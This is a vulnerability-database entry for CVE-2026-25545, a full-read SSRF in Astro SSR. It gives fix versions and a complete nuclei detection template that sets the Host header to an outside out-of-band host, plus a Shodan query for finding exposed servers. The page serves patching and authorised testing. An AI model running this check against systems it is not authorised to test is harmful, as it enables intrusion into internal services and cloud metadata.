HexBrain

Browse / CVEs / CVE-2026-25545

CVE-2026-25545· astro / astro· CWE-918

Astro SSR - Server-Side Request Forgery

highseverity
8.6CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources.

Impact

Full-read SSRF allowing access to internal services, cloud metadata endpoints (AWS/GCP/Azure IMDS), environment files, and any host reachable from the server.

Fix

Upgrade to astro >= 5.17.3 or @astrojs/node >= 9.5.4. The fix reads prerendered error files directly from disk and validates the Host: header the same way X-Forwarded-Host was already validated.

How to confirm it

Send: GET {{BaseURL}}/{{randstr}}
Positive when: contains(body, "<html><head></head><body></body></html>") and contains(header, "X-Interactsh-Version") and status_code == 404

Run it with nuclei: nuclei -id CVE-2026-25545 -u <target>

The full check
id: CVE-2026-25545

info:
  name: Astro SSR - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources.
  impact: |
    Full-read SSRF allowing access to internal services, cloud metadata endpoints (AWS/GCP/Azure IMDS), environment files, and any host reachable from the server.
  remediation: |
    Upgrade to astro >= 5.17.3 or @astrojs/node >= 9.5.4. The fix reads prerendered error files directly from disk and validates the Host: header the same way X-Forwarded-Host was already validated.
  reference:
    - https://github.com/withastro/astro/security/advisories/GHSA-qq67-mvv5-fw3g
    - https://github.com/withastro/astro/pull/15473
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25545
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-25545
    epss-score: 0.01933
    epss-percentile: 0.80215
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: astro
    product: astro
    shodan-query: http.component:"Astro"
  tags: cve,cve2026,astro,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{randstr}}"
    headers:
      Host: "oast.me"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<html><head></head><body></body></html>")'
          - 'contains(header, "X-Interactsh-Version")'
          - 'status_code == 404'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from